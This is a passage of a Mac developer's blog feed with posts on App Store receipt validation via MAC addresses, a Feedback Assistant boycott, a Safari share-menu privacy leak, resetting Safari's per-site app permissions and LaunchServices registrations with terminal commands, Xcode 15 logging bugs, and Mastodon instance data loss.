My solution was to query all built-in ethernet interfaces—in technical terms, kIOBuiltin devices of kIOEthernetInterfaceClass—and attempt to validate each interface's MAC address with the App Store receipt until a match was found. This might be the same technique suggested by Paulo Andrade, but that blog post contains no sample code.

Below is a snippet from my new Mac App Store receipt validation code.

mach_port_t master_port;
kern_return_t kernResult = IOMasterPort( MACH_PORT_NULL, &master_port );
if ( kernResult != KERN_SUCCESS )
    return EXIT_FAILURE;

CFMutableDictionaryRef matchingDict = IOServiceMatching(kIOEthernetInterfaceClass);
if ( matchingDict == NULL )
    return EXIT_FAILURE;

CFMutableDictionaryRef propertyMatch = CFDictionaryCreateMutable( kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks );
CFDictionarySetValue( propertyMatch, CFSTR(kIOBuiltin), kCFBooleanTrue );
CFDictionarySetValue( matchingDict, CFSTR(kIOPropertyMatchKey), propertyMatch );
CFRelease( propertyMatch );

io_iterator_t iterator;
kernResult = IOServiceGetMatchingServices( master_port, matchingDict, &iterator ); // This actually releases matchingDict because CF_RELEASES_ARGUMENT
if ( kernResult != KERN_SUCCESS )
    return EXIT_FAILURE;

BOOL hasMatch = NO;
do
{
    io_object_t service = IOIteratorNext( iterator );
    if ( service == IO_OBJECT_NULL )
        break;

    io_object_t parentService;
    kernResult = IORegistryEntryGetParentEntry( service, kIOServicePlane, &parentService );
    if ( kernResult == KERN_SUCCESS )
    {
        CFDataRef newMacAddress = (CFDataRef)IORegistryEntryCreateCFProperty( parentService, CFSTR( kIOMACAddress ), kCFAllocatorDefault, 0 );
        if ( newMacAddress != NULL )
        {
            /* Validate MAS receipt and set hasMatch = YES if valid. */
            CFRelease( newMacAddress );
        }
        IOObjectRelease( parentService );
    }
    IOObjectRelease( service );
} while ( !hasMatch );

IOObjectRelease( iterator );

I released a Link Unshortener update with the new code, which fixed my customer's problem. The Mac App Store receipt now validates, and the app launches. Moreover, I've received no reports of failures from other customers. So far, so good!

By the way, my Mac App Store receipt validation code doesn't require compiling and linking OpenSSL. To avoid that, I wrote a receipt parser using Apple's built-in CommonCrypto and Security frameworks. I won't post the full source code here, but if any Mac developers are interested, let me know. My code works only for upfront paid apps, however, not for In App Purchases.

Feedback Assistant Boycott

]]>
Feedback Assistant boycott web page and participants list https://lapcatsoftware.com/articles/2023/11/3.html 2023-11-07T16:00:00Z 2023-11-07T16:00:00Z Following up on yesterday's announcement of an Apple developer boycott of Feedback Assistant, I've now created an official web page for the boycott, an email address, an RSS feed, and a Mastodon account.

Moreover, I'm going to compile a public list of boycott participants, to be posted on the official site. You can definitely participate in the boycott without appearing on the list, but announcing your public support for the boycott is helpful and appreciated. To be added to the list, send an email or a Mastodon message with your name or company name. You can also include a URL if you wish that to be posted along with your name. Please be patient about updates to the list, because I'm doing it all myself!

I've already seen a lot of enthusiasm for the boycott, and several media sites have covered it too. I'm adding the media links on the official web page. Thank you very much for your support! Working together, we can make a difference.

]]>
Apple developer boycott of Feedback Assistant https://lapcatsoftware.com/articles/2023/11/2.html 2023-11-06T15:35:00Z 2023-11-06T15:35:00Z I'm organizing a boycott of Apple's Feedback Assistant, starting immediately, and I encourage all Apple developers to join me. Here's how I propose that each of us can effectively participate in the boycott and let Apple know that we're boycotting Feedback Assistant:

  1. File a new Feedback about Feedback Assistant (in Developer Tools & Resources) that lists the issues below and states that you're boycotting Feedback Assistant until the issues are addressed.
  2. Don't file any other new Feedbacks unless and until Apple addresses the issues.
  3. If Apple requests a response to a previously filed Feedback, respond only by saying that you're boycotting Feedback Assistant, and refer to your Feedback number from step 1.

Ideally, I think you should make your Feedback from step 1 as unique as possible. The point is to flood Apple with new Feedbacks about the boycott and force Apple to do some work to handle them, to take notice of the boycott, and to recognize that we're serious about it.

Boycotting Feedback Assistant does not preclude talking about your bugs on social media, on your blogs, and on your podcasts. Nor does it preclude filing reports with Apple's other public bug reporting systems, such as those for WebKit and various open source projects on GitHub. Those other bug reporting systems are superior to Feedback Assistant in a number of ways. The primary goal of the boycott is to bring about changes specifically in Feedback Assistant, the most hostile bug reporter I've ever seen.

After consulting with fellow developers, I've composed a list of issues with Feedback Assistant that Apple needs to address in order to end the boycott. I'll number the issues for ease of reference, but the order doesn't necessarily reflect their relative importance.

  1. Apple neglects or refuses to say whether or not they can reproduce reported bugs, even when we give them precise steps to reproduce and sample Xcode projects. This is crucial for us to determine whether Apple is taking our Feedbacks seriously or just lazily, bureaucratically stringing us along.
  2. Apple closes Feedbacks with the status "Investigation complete - Unable to diagnose with current information" without asking us for more information or even notifying us that the Feedback has been closed.
  3. Apple closes Feedbacks without the agreement of the person who filed the Feedback, and apparently it's now a "feature" of their bug reporting system that closed Feedbacks cannot be reopened, even by Apple employees. (It wasn't always this way, I believe.)
  4. When Apple mistakenly closes a Feedback for a bug that isn't fixed, Apple demands that we open a new Feedback for the same bug, instead of just opening a new one themselves and giving us the new Feedback number.
  5. Apple demands that developers "verify" Feedbacks with the latest betas despite the fact that Apple has not fixed the bugs, attempted to fix the bugs, or even attempted to reproduce the bugs with the steps given by us. This is a giant waste of our time. And Apple closes the Feedbacks if we don't "verify" them.
  6. Apple doesn't always notify us of changes to the status of the original Feedback when our Feedbacks are closed as duplicates.
  7. Apple constantly demands invasive sysdiagnose reports, often unnecessarily, and refuses to look at Feedbacks without them. Many developers work on their own personal devices, and sysdiagnoses are gross violations of our privacy, which Apple claims is a fundamental human right. Apple has avoided or abandoned creating smaller, more targeted and less intrusive methods of collecting information and diagnosing bugs.
  8. Feedbacks can no longer be filed from the web. Apple now requires that all Feedbacks be filed from the native Feedback Assistant app on macOS or iOS. This is a very recent setback: I've been filing Feedbacks via the web app for years, the last one on October 26. Note the passive-aggressive question "Where would you like to start your feedback?" and the "recommendation" to use the native app, as if there were a choice.
  9. We can't search Feedback Assistant for bugs. Apple employees can search the database, but I can see only the Feedbacks that I personally filed. Of course we acknowledge that some Feedbacks need to remain secret, especially for products that haven't yet been announced by Apple, but countless Feedbacks require no such protection, and an opt-in searchable bug database would help external developers immensely, improving the overall quality of the software on Apple's platforms, to the benefit of Apple, developers, and users alike.

Below is a screenshot of one of my old reports that epitomizes the absurdity of Apple's bug reporting system. Apple claimed in their response that "much has changed", but to this day, nothing has really changed. I've seen no evidence that Apple sincerely appreciates our input. Apple's Feedback Assistant, formerly known as Radar, has remained unreasonably terrible for a very long time, much too long, so now we're demanding change.

Safari-extension-issues

In defense of Apple, some people assert that Apple doesn't have the time to properly respond to Feedbacks. I don't find this argument convincing, because Apple's priorities, schedules, and staffing are determined by Apple itself, via the decisions of the company's leadership. Apple values its own time over the time of external developers and seems to have no guilt over wasting endless amounts of our time. We are not happy, though, to sacrifice ourselves for a corporation worth trillions of dollars. Needless to say, my net worth and income are microscopic in comparison. If Apple can decide that it doesn't have the time to respond to our Feedbacks, then we can decide that we don't have the time to file them; Apple's problems with lack of time are thereby solved. Frankly, as a longtime Apple user, I could do without the relentless annual OS updates, and many of us look back fondly to the era of Mac OS X Snow Leopard when the updates were around two years apart, leaving more time for bug fixes.

This is not a boycott against individual Apple engineers, many of whom also want Feedback Assistant to be improved. Indeed, the improvement of Feedback Assistant would enhance rather than detract from the relationship between Apple engineers and external developers. This is a boycott against the bug reporting system, intended to force Apple leadership to recognize and respond to the persistent problems with the system.

Although I call it a boycott, it could also be termed a labor strike. Apple utilizes developers for vast amounts of unpaid QA labor. Both Apple and developers know the crucial role that developers play in testing and refining Apple's software and products. Apple needs our bug reports, our labor, often hours or even days of labor for a single Feedback. Nonetheless, Apple acts as if it were entitled to our Feedbacks, treating developers kind of like indentured servants. No respect or basic human courtesy is afforded by Apple to developers in the bug reporting system. We've been indoctrinated into believing that it's simply our duty to file Feedbacks, for the sake of the platforms. However, Apple's platforms are not charity cases. To the contrary, they've made Apple the most profitable company in the world. We developers are not Apple employees, and our unpaid labor should not be taken for granted. Henceforth, it will not be taken for granted.

In my view the boycott, or strike, has two goals. First, obviously, is to pressure Apple into improving Feedback Assistant by showing Apple that it needs us to file bug reports and would suffer without them. The second goal is to show ourselves that we don't actually need to file bug reports with Apple. My feeling is that Apple has a lot more to lose here than we do. After all, the majority of bugs that I file never get fixed anyway, and even the fixes usually come later rather than sooner, not in time to avoid the consequences of the bug. Do Apple bugs affect our apps? Yes, of course. But we typically have to ship workarounds for the bugs in our apps, because we can't count on Apple to fix our reported bugs in a timely manner. With a workaround for a bug in place, we no longer need Apple to fix the bug, so reporting the bug becomes more an act of charity than urgency.

This situation is often misunderstood by the public and even by Apple employees. Feedback Assistant does not provide customer service to developers. We developers are the ones who are providing the service to Feedback Assistant, and now we're choosing to withhold our services until the system is improved. I hope that Apple chooses to address the problems with Feedback Assistant, but if Apple happens to choose otherwise, and improvements never arrive, then my intention is to boycott forever. Regardless of whether Apple responds positively, I will consider the boycott to be a success if many developers participate, and we show ourselves that Feedback Assistant is not essential to our work and our livelihood.

]]>
This Feedback will no longer be monitored, and incoming messages will not be reviewed https://lapcatsoftware.com/articles/2023/11/1.html 2023-11-03T19:15:00Z 2023-11-03T19:15:00Z This blog post is a follow-up to How to fix the disastrous new Xcode 15 console, which was itself a follow-up to Xcode 15 logs nil as an empty string, not (null). I mentioned in the previous blog post that I filed three bugs with Apple, one of which was FB13289059 "Xcode 15 console logs truncated". Since then I've had some back and forth with Apple on that bug in Feedback Assistant. I'm going to screenshot the entire exchange below. For context, if you're not familiar with Apple's bug reporting system, they constantly ask developers to "Please verify this issue" with the latest betas, despite having done nothing to fix the issue in the latest betas, in the hope that the issue (or maybe the developer) will magically go away. In my many years of filing bugs with Apple, the issue almost never magically goes away in the latest betas.

The ultimate outcome of this case was that Apple blatantly lied to me—"As you’ve indicated, this issue is resolved"—and then Apple refused to hear any contradiction to their lie—"this Feedback will no longer be monitored, and incoming messages will not be reviewed." This kind of response reinforces what I said earlier in the exchange: "It makes me not want to file feedbacks at all. It feels like you don't care." The coup de grâce was "We appreciate your feedback." No, Apple absolutely does not appreciate our feedback.

Anyway, apparently this particular issue is fixed in macOS Sonoma, which doesn't help me at all, since I'm still using Ventura. And the reason I'm avoiding Sonoma is that it's buggy. I've also filed some Sonoma bugs with Apple, for example, FB13215060 "Sonoma wants me to Verify Your Recovery Key". Ever since the first macOS 14 and iOS 17 betas, I've seen a number of Apple ID related bugs (crashes, hangs, etc.), which scare me away from installing Sonoma on my MacBook Pro, my main development machine (as opposed to my Mac mini, which I use solely for testing various macOS versions).

]]>
Safari share menu now violates privacy https://lapcatsoftware.com/articles/2023/10/8.html 2023-10-26T16:00:00Z 2023-10-26T20:00:00Z Last year I wrote about why the macOS Ventura share menu is bad, but that was from a user interface perspective. It turns out that the share menu in Ventura—and now Sonoma—is also bad from a privacy perspective. Here's an example, using http://example.org. In the web inspector, I changed the More information link from https to http so that I could take a full packet trace.

Example Domain

I open the contextual menu on the the More information link and select the Share… item.

Open contextual menu on More information link and select Share

But now my old friend Little Snitch complains! The share menu is trying to contact www.iana.org.

ShareSheetUI Networking wants to connect to www.iana.org on TCP port 80 (http)

If I deny the connection to port 80 (http), it falls back to port 443 (https).

ShareSheetUI Networking wants to connect to www.iana.org on TCP port 443 (https)

Now let's see what happens if I allow rather than deny the connections.

Safari share menu with Example Domains iana.org and the site icon

There's the share menu, oddly disconnected from the More information link, showing the site icon of iana.org (the Internet Assigned Numbers Authority).

Looking at the packet trace, the share menu attempts to fetch the icon files favicon.ico, apple-touch-icon.png, and apple-touch-icon-precomposed.png from the site. The network requests look like this:

GET /favicon.ico HTTP/1.1
Host: www.iana.org
Accept: */*
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: com.apple.WebKit.Networking/18615.3.12.11.2 CFNetwork/1410.0.3 Darwin/22.6.0

And of course your IP address is leaked.

My belief is that a website should not be notified and given your IP address and other information such as hardware device type and web browser version when you share the URL of the website.

This privacy violation (and the user interface violations) did not occur with the old share menu, before Ventura.

Safari share menu on macOS Big Sur

Addendum

I've done some further testing and made a couple of additional discoveries. I created a test HTML page that contains the following link to my business site http://underpassapp.com:

<a href="http://underpassapp.com" title="Anchor Title">Anchor Text</a>

1. When the site icon request is successful, Safari also requests the web page itself, apparently to get the page title. Here's the HTTP request, with a rather bizarre User-Agent header, spoofing several bots:

GET / HTTP/1.1
Host: underpassapp.com
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.4 facebookexternalhit/1.1 Facebot Twitterbot/1.0
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive

2. The only purpose of the HTTP requests in Safari's share menu appears to be to display the link's icon and title in the share menu. Crucially, that information is not passed along to the other apps!

Safari share menu

When I share with Messages, I just get the URL http://underpassapp.com/. When I share with Mail or Mona, I get the URL along with the anchor text (literally "Anchor Text" in my example), even though the share menu has the actual page title from the HTML.

In other words, the privacy violation of Safari's share menu is 100% needless!

]]>
Why I disabled advanced tracking and fingerprinting protection in Safari https://lapcatsoftware.com/articles/2023/10/7.html 2023-10-23T18:30:00Z 2023-10-23T18:30:00Z Advanced tracking and fingerprinting protection is a new feature of Safari 17 that's enabled by default in private browsing on iOS and macOS. I analyzed the details of this feature after it was introduced back in June at Apple's Worldwide Developers Conference (WWDC). Despite the fact that I'm obviously interested in protection from tracking and fingerprinting, I've decided to disable the new feature in Safari.

macOS Safari Advanced Settings

iOS Safari Advanced Settings

I have two reasons. First, my Safari extension StopTheMadness is better in a number of ways and basically makes advanced tracking and fingerprinting protection redundant.

Second, "If this page is not displaying as expected, you can reduce advanced privacy protections which may resolve issues."

macOS Safari: If this page is not displaying as expected, you can reduce advanced privacy protections which may resolve issues.

iOS Safari: If this page is not displaying as expected, you can reduce advanced privacy protections which may resolve issues.

Every time I reload a web page. Every. Damn. Time. And I can't find a way to stop the warning. Reverse engineering Safari, I don't believe there is a way. Back in July, I filed feedback with Apple: (FB12568629) Permanently suppress popup "If this page is not displaying as expected, you can reduce advanced privacy protections which may resolve issues." Unfortunately, nothing was done with my feedback.

It feels like there's nobody left at Apple who cares—or is allowed to care—about user interface design. The company's priorities come from the top, and in stark contrast to the previous CEO Steve Jobs, the current CEO Tim Cook does not care. I'm sure that Cook cares about many things, but not about user interface design. Through countless personnel decisions since taking over in 2011, Cook has put his personal stamp on Apple, in the process stamping out the user-friendly design sense that made Apple famous. It's a shame, because few other tech companies care about design, and now Apple is just another tech company, not special except for its size and revenue.

A few days ago, I blogged about how Safari 17 finally added an Always Allow option to its long-standing dialog that asks, "Do you want to allow this website to open [app name]?" In Safari 16 and earlier the dialog was shown every time, and the only options were Cancel and Allow. My search of the web indicates that the dialog was introduced in Safari 10.0.2, back in 2016. Thus, it took Apple seven years to allow the user to opt out of these annoying warnings. I'm not going to wait another seven years to opt out of the advanced tracking and fingerprinting protection warnings, so I'm opting out of advanced tracking and fingerprinting protection entirely. Perhaps I'll take another look at the feature in 2030.

]]>
Safari 17 hidden feature: Always allow this website to open an app https://lapcatsoftware.com/articles/2023/10/6.html 2023-10-21T00:05:00Z 2023-10-21T00:05:00Z Safari 17 has a new hidden feature that I wasn't even aware of until a customer brought it to my attention. I haven't seen it mentioned anywhere by Apple in their release notes. You may already be aware that for a number of years, Safari has asked your permission every time you click on a link, such as an RSS feed, that opens in an app other than Safari:

Do you want to allow this website to open “Vienna.app”?

(Remember when Safari had RSS support? The good old days!)

Of course Apple wouldn't be Apple if they didn't give themselves special exemptions, and in this case, certain Apple apps are exempt from requiring your permission to open. One example is an app that should not be exempt: App Store! Whether you like it or not, the App Store app automatically opens whenever you visit a Mac App Store page in Safari.

That's why I wrote the free, open source app Stop The Mac App Store. This app turned the tables on Safari, using its own permission system against it. Stop The Mac App Store registers itself as the default handler of App Store URLs, which means that when you visit a Mac App Store page, Safari attempts to open Stop The Mac App Store rather than App Store. But my app does not have a special Apple exemption, so you get the standard permission prompt:

Do you want to allow this website to open “Stop The Mac App Store.app”?

Then you can just press the escape key to cancel and avoid opening the App Store app.

If you want to try yourself, the URL in the screenshot is https://apps.apple.com/app/link-unshortener/id1506953658?mt=12, the Mac App Store page for my app Link Unshortener (which you should buy, thank you).

You might notice, from the darkness of the Safari address bar, that the above screenshot is of a private window in Safari. I like to do the majority of my web browsing in private windows, and that's why I never noticed the new Safari 17 feature. I'll try again with the same page, but this time in a non-private window:

Always Allow

The permission prompt now has an option to "Always Allow"! This option is new in Safari 17.

The irony is that after you select Always Allow, that preference applies to private windows as well as to non-private windows, even though the option does not appear in private windows. Apple works in mysterious ways…

You might wonder where this new preference is stored on disk. As far as I can tell, there's no corresponding user interface in Safari Settings, certainly not in the Websites pane. What if you want to undo your selection? What if you select Always Allow by accident? This would be disastrous when using Stop The Mac App Store, because then you would never again have the option to prevent the App Store app from automatically opening.

The good news is that with a little reverse engineering, I found a way to undo the preference. It's stored on disk in the file ~/Library/Safari/PerSitePreferences.db, which is an SQLite database. You can run SQLite commands in Terminal app, though you'll need to grant Full Disk Access to Terminal in the Privacy & Security section of System Settings in order to access the PerSitePreferences.db file. Here's the Terminal command to view the contents of the file:

sqlite3 ~/Library/Safari/PerSitePreferences.db .dump

Make sure to quit Safari before running any operations on its SQLite databases. Here's the command to remove the Always Allow permission from Stop The Mac App Store:

sqlite3 ~/Library/Safari/PerSitePreferences.db "delete from preference_values where preference='PerSitePreferencesOpenApplications' and preference_value='macappstores';"

As you can see, the technical name of the preference is PerSitePreferencesOpenApplications, and here's how the preference_values table is defined in SQLite, which can be seen using the .dump command above:

CREATE TABLE preference_values (id INTEGER PRIMARY KEY AUTOINCREMENT, domain TEXT NOT NULL, preference TEXT NOT NULL, preference_value NUMERIC, timestamp TEXT, sync_data BLOB, record_name TEXT, UNIQUE(domain, preference));

(It looks like Apple screwed up here a little, because the preference_value is clearly not numeric?)

So there you have it. With Safari 17, Apple has made the Mac slightly less like Windows Vista. Cancel, Allow, or Always Allow.

This new Safari feature may obsolete my other free, open source app StartTheZoom.

]]>
How to fix the disastrous new Xcode 15 console https://lapcatsoftware.com/articles/2023/10/5.html 2023-10-19T17:30:00Z 2023-10-19T17:30:00Z This is a follow-up to my recent blog post Xcode 15 logs nil as an empty string, not (null). I've now found three different bugs in the new Xcode 15 console.

  1. FB13268283 Xcode 15 console logs nil as empty string rather than (null)
  2. FB13270074 Console logs missing on first run after launching Xcode 15
  3. FB13289059 Xcode 15 console logs truncated

In my opinion, the new Xcode 15 console is awful, a disaster. Fortunately, I've found a way to restore the previous console behavior from Xcode 14 and earlier. This is actually noted in the Xcode 15 release notes, but I wanted to highlight the solution here in case, like me, you hadn't read the release notes recently:

Console

New Features

  • By default, Xcode streams os_logs through the unified logging and activity tracing infrastructure. The output may be formatted differently compared to previous versions of Xcode, and its order relative to standard IO may also change. To customize the behavior of logging, edit the Run scheme action to set the environment variable IDELogRedirectionPolicy. The value “oslogToStdio” redirects os_log messages to standard IO and formats them in a style identical to previous versions of Xcode. The value stdioToOSLog redirects standard IO to the os_log messages, and presents them in the debug console with additional metadata. (109380695)

Resolved Issues

  • Fixed: The debug console’s action to jump from an os_log message to the line of source code which emitted it is only supported when debugging executables on the local Mac or Simulators. The menu item is disabled when debugging executables on connected devices. (109171925)

  • The maximum permitted size of os_log messages shown in the debug console is smaller than in previous Xcode versions. This may cause long messages to more commonly appear truncated in the debug console. (109381234)

You need to set the environment variable IDELogRedirectionPolicy to the value oslogToStdio in the Run section of your app's Xcode scheme. I wish there were a way to make this behavior the default in Xcode Settings! (FB13289075 Provide a setting to make oslogToStdio the default.)

Incidentally, I'm not sure how the release notes can say that "This may cause long messages to more commonly appear truncated in the debug console" is among the "Resolved issues", for it's still very much an unresolved issue.

]]>
LaunchServices and Spotlight https://lapcatsoftware.com/articles/2023/10/4.html 2023-10-14T17:50:00Z 2023-10-14T17:50:00Z A few days ago, Howard Oakley wrote an article LaunchServices problems in Sonoma 14.0, I wrote a comment on the article, and today Howard wrote a follow-up article LaunchServices problems and Ventura. This article is a follow-up to Howard's follow-up. You should read Howard's articles before mine, otherwise mine might not make much sense, and I don't want to repeat everything here that's already been said.

macOS has a built-in command-line tool for manipulating the LaunchServices database:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister

In my .zshrc file, I have an alias lsregister for that path. Enter the command with no arguments to see usage information. To unregister an app or apps from the LaunchServices database, use the following arguments, followed by the path of the app or apps:

lsregister -R -f -u -v

The argument -R is "Recursive directory scan, descending into packages and invisible directories", -f is "force-update registration even if mod date is unchanged", -u is "unregister instead of register", and -v is "Display progress information" (in other words, verbose).

Unfortunately, the verbose option has been broken since Monterey. I filed feedback with Apple, FB9986535 "lsregister -v verbose option no longer works on Monterey", in April 2022.

I have a very specific workflow for unregistering apps with LaunchServices. Again, I have a .zshrc alias for this:

alias 'archives=/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -R -f -u -v ~/Developer/Xcode/Archives'

The reason for this workflow is an Xcode bug: FB10829413 "Organizer window registers Archives with LaunchServices", which I filed in July 2022. Whenever I open the Xcode Organizer window, which shows archives of my App Store apps, crash reports, and other information, every archived copy of my App Store apps gets registered with LaunchServices. As a result, the Open With contextual menu in Finder looks like this:

Finder Open With contextual menu

You can see multiple versions of my app Link Unshortener with its newer (pretty) and older (ugly) icons. To clean up the contextual menu, I have to run my archives command, and then it likes look this:

Finder Open With contextual menu

On Ventura, lsregister started to return an error "failed to scan" with the error code -10814. However, this error appears to be harmless, and that's what I wrote in my comment to Howard's original article.

In the follow-up article, Howard wrote:

And, in both Ventura and Sonoma, as Jeff reports, the command does what it should regardless of the error message. However, removal is transient, and depends on there being no copy of that app on any local volume. Unless you compress the app or otherwise render it inaccessible, even force restarting the Finder will restore it to the Open With menu.

As a side note, here's an ancient but still effective trick to add a Quit menu item to Finder:

defaults write com.apple.finder QuitMenuItem -bool YES

(Logout and login for the change to take effect.)

Back to the gist of Howard's response, his experience with lsregister was not the same as my experience. For me, my old archived apps remain absent from the Open With contextual menu even after quitting Finder (until the next time I open the Xcode Organizer window, sigh). What accounts for this difference? The reason, it turns out, is that I excluded the Xcode Archives folder in Spotlight's Privacy System Settings. This means my old archived apps never appear in Spotlight searches, even when they do appear in the Open With contextual menu. In contrast, when Spotlight can find an app, it registers the app with LaunchServices. That's why unregistering with lsregister appears to be a futile endeavor for apps that are located in folders and volumes indexed by Spotlight.

Howard writes:

Maybe I haven’t been paying attention, but LaunchServices now searches all mounted local volumes, probably using Spotlight, to discover apps to include in its database.

At least as far as mounted boot volumes are concerned, this has been a longstanding problem with Spotlight. For the purpose of testing, I have a Mac mini with four different macOS versions installed on four separate APFS volumes. The same problem with multiple app versions appearing in the Open With contextual menu occurs in each of these four macOS versions, from Sonoma to Big Sur (and has occurred in the past with previous macOS versions).

Spotlight has never handled multiple boot volumes well, unfortunately. Apple likes to pretend that nobody ever uses this configuration. It doesn't even help to exclude volumes from Spotlight Privacy System Settings, because the exclusion seems to be stored by the excluded volume rather than by the excluding volume. The sad result is that if you exclude the Ventura volume from Spotlight while running Sonoma, the Ventura volume will also be excluded from Spotlight while running Ventura!

Way back in 2009, I filed FB5666683 (originally Radar 6939726) "Spotlight: no way to set separate Privacy prefs for multiple OS X partitions". That bug report was closed as a duplicate; I don't have any further tracking information. And in 2008, I filed FB5950134 (originally Radar 6338139) "Spotlight: preference to not index external drives". That was also closed as a duplicate.

Howard suggested in his original article that there has been a change of behavior on Sonoma:

After upgrading to Sonoma, one difference that you may notice is that the lists of apps capable of opening some types of document have expanded to include copies of apps not located in any of the conventional Applications folders. In my case, where I keep old versions of my own apps on an external SSD, every one of those now appears in the popup menu to Open With.

This may be true, though I haven't attempted to test it specifically. If there has been a change in Sonoma, it would involve a change in the list of folders indexed by Spotlight. My theory is that any addition of apps to the Open With contextual menu in Sonoma would coincide with the addition of those same apps to the Spotlight search results.

]]>
Xcode 15 logs nil as an empty string, not (null) https://lapcatsoftware.com/articles/2023/10/3.html 2023-10-13T15:00:00Z 2023-10-13T16:10:00Z I just discovered a shocking, troubling, and as far as I know, undocumented change in Xcode 15: the functions os_log and NSLog now log nil as an empty string. The previous behavior, going back forever as far as I remember, was to log nil as (null).

Here's a sample command-line tool run with Xcode 14:

Xcode 14

And here's the same tool run with Xcode 15:

Xcode 15

Wow. I'm stunned.

I don't know whether this is a bug or intended behavior, but it makes debugging our apps markedly worse, because now there's no easy way to identify nil objects or to distinguish between nil and @"" in the log output. WTF?!?

I've filed FB13268283 with Apple's Feedback Assistant.

Note: An earlier version of this blog post incorrectly blamed the issue on the iOS 17 and macOS 14 SDKs that come bundled with Xcode 15. It turns out, on further testing, that the issue affects logging only in Xcode. Thankfully, Console log still shows (null) output for nil. In retrospect, I should have realized this before, because I could reproduce the issue on macOS 13, and it doesn't make much sense that an SDK-related change would be backward deployed. I apologize for the confusion.

]]>
Your Mastodon archive omits DMs sent to you https://lapcatsoftware.com/articles/2023/10/2.html 2023-10-03T20:10:00Z 2023-10-03T20:10:00Z This is a follow-up to my previous blog post Mastodon instance admin deleted all of our DMs after 15 days. After I published that blog post, I was arguing with someone (ignorant) online who engaged in blaming the victim and insisted that I ought to be backing up my Mastodon data weekly to avoid data loss. During that argument, I realized that there may be no way to backup the direct messages (private mentions) you've received from other Mastodon instances, and thus no way to avoid the data loss caused by the content cache retention period of your instance. I decided to put it to the test. Luckily, my new Mastodon account has already received a few DMs from another instance, so I could test immediately.

Here's a screenshot of the /settings/export Data export page on my Mastodon instance. It says, "You can request an archive of your posts and uploaded media. The exported data will be in the ActivityPub format, readable by any compliant software. You can request an archive every 7 days."

Mastodon Data export

As you can see, I requested an archive earlier today. After you request an archive, you receive an email notification that your archive is ready for download. The downloaded file is a .zip archive that when expanded includes, among other files, an outbox.json with the data from all of your Mastodon posts. If you've written a lot of posts, the file size can be megabytes or larger. In my case, since I just started a new Mastodon account, the outbox.json was only 56 KB.

Unfortunately, my theory turned out to be correct: while the outbox.json does have the data from the DMs that I sent, it doesn't have the data from the DMs that I received. I checked all of the other files in the archive, and they didn't have the received DMs either. The conclusion, in other words, is that you cannot backup the DMs you've received from other instances on Mastodon.

One question remains unanswered by my test: does your Mastodon archive include the DMs you've received from other accounts on your own Mastodon instance? I don't know, because I haven't yet received any DMs from mastodon.social, the instance of my new account. Even if I do receive some same-instance DMs after this blog post, I can't request another archive and test again until 7 days have passed. I encourage other Mastodon users to request an archive and test for themselves.

]]>
Mastodon instance admin deleted all of our DMs after 15 days https://lapcatsoftware.com/articles/2023/10/1.html 2023-10-02T16:40:00Z 2023-10-02T16:40:00Z I've just migrated Mastodon instances for the second time this year. My new Mastodon account is @lapcatsoftware@mastodon.social. Eight months ago, I migrated to appdot.net because Mastodon instance mstdn.plus with over 4K users suddenly broke, and mastodon.social was not accepting new signups at that time. My first migration was triggered by an AWOL instance administrator; my second migration was also triggered by negligence, but of a different kind. A few days ago I learned that the admin of appdot.net, without informing the instance's users, had set the content cache retention period to 15 days. Here's the description of this Mastodon (mis)feature:

Posts from other servers will be deleted after the specified number of days when set to a positive value. This may be irreversible.

The following warning was written to Mastodon instance administrators by the company that hosts (but does not administer) appdot.net:

Content cache retention period

This value is blank by default, so it never deletes the remote content cache.
The current Mastodon implementation makes this a dangerous setting and will indiscriminately delete remote content older than the number of days set, whether the content was interacted with or not. Meaning, that no matter if a local user bookmarked, favourited, or boosted a remote post or even if a post is a remote reply to a local post, all will be deleted once the number of days has been reached, which is irreversible.
You can read a discussion I started in the Mastodon GitHub about the consequences of enabling this setting to see if the Mastodon dev team finds an alternative implementation.
Until Mastodon releases an improvement for Content cache retention period, I suggest leaving this value blank or, if you want/need to set it, make it something like 730 days (2 years) or higher but any value set will still cause data loss.

To emphasize: any value set will still cause data loss. The worst of the many unpleasant consequences resulting from the content cache retention period of appdot.net is that, except for the last 15 days, all of the direct (private) messages I've ever received from other Mastodon instances are now irrecoverably gone. Of course the senders of the DMs still have access to their own messages on their instances, but I don't! And appdot.net is a small Mastodon instance, with only 80 users (79 after I left), which means that almost all of my direct messages came from users on other instances, and thus were deleted.

In an email exchange, the administrator of appdot.net explained why the content cache retention period was set to 15 days:

I had it set very aggressively when we were on a lower tier as we were constantly running up against storage limitations. It was set to 15 days. That’s no longer an issue, so I’ve upped it to 90.

Needless to say, I was livid, and I decided on that day to migrate Mastodon instances. 90 days to data loss is not a whole lot better than 15 days to data loss! And of course the admin could not retroactively undo the data loss that already occurred. It's important to note that every user of appdot.net is affected by this data loss, whether they know it yet or not. Hopefully they'll see this blog post.

When Eugen Rochko added the content cache retention period to Mastodon, there was some (though not nearly enough) discussion of the consequences:

I can see some issues with that, including losing bookmarks, the ability to signal other instances that you deleted your reblog of something (since you'd lose any record of that), or the access to any DMs. I don't think the description does a good enough job of explaining that, and I think the feature should ideally avoid those cases in the first place.

Also:

If I bookmarked a post one year ago. I expect it to be in my bookmarks one year later, even if the server that originated the post is no longer online and the content cache retention period set by the admin is 6 months. The same goes for boosts, favourites, DMs or posts I replied to. If we use the date as the single factor for deletion, we break functionality that I believe is important.

Nonetheless, the content cache retention period "feature" was released into Mastodon, apparently without any further improvements or mitigations. Afterward, much later, the discussion turned to advice, sadly unheeded:

Any admin thinking of enabling this on their instance would do well to warn the instance's users in advance, so that they have a chance to download an archive of their favorites and bookmarks (even better would be to send them such an archive right away by email: #19400 ).

Discussions will most likely become impossible to understand as messages are forgotten and relationships severed. Users can be advised to use mastodon-archive or similar to download their data before it vanishes.

